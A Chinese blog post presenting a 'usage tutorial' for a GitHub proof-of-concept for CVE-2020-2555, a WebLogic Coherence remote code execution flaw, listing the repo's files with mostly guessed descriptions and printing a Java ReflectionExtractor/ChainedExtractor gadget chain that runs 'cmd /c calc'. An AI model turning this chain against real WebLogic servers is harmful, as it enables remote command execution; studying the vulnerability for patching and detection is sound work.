CVE-2020-2555 项目使用教程

最新推荐文章于 2024-12-05 11:57:08 发布

吴铎根

最新推荐文章于 2024-12-05 11:57:08 发布

阅读量552

点赞数 20

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/gitblog_01136/article/details/142297743

CVE-2020-2555 项目使用教程

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE 项目地址: https://gitcode.com/gh_mirrors/cv/CVE-2020-2555

1. 项目目录结构及介绍

CVE-2020-2555/
├── lib/
│   └── coherence.jar
├── src/
│   └── CVE_2020_2555.java
├── .gitignore
├── LICENSE
├── README.md
├── weblogic_cmd.iml
└── weblogic_t3.py

lib/: 包含项目所需的依赖库文件，如 coherence.jar。
src/: 包含项目的源代码文件，如 CVE_2020_2555.java。
.gitignore: 指定 Git 版本控制系统忽略的文件和目录。
LICENSE: 项目的开源许可证文件。
README.md: 项目的说明文档。
weblogic_cmd.iml: 可能是 IntelliJ IDEA 的项目配置文件。
weblogic_t3.py: 可能是与 T3 协议相关的 Python 脚本。

2. 项目启动文件介绍

2.1 `weblogic_t3.py`

weblogic_t3.py 是一个 Python 脚本，可能用于通过 T3 协议与 Weblogic 服务器进行交互。该脚本的具体功能需要进一步分析其代码内容。

2.2 `CVE_2020_2555.java`

CVE_2020_2555.java 是项目的主要源代码文件，包含了对 CVE-2020-2555 漏洞的利用代码。以下是该文件的简要介绍：

public class CVE_2020_2555 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[] {
            new ReflectionExtractor("getMethod", new Object[] {"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[] {null, new Class[0]}),
            new ReflectionExtractor("exec", new Object[] {new String[] {"cmd", "/c", "calc"}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
        chainedExtractor.extract(Runtime.class);
    }
}

该代码通过构造 ReflectionExtractor 对象数组，并使用 ChainedExtractor 进行链式调用，最终执行系统命令。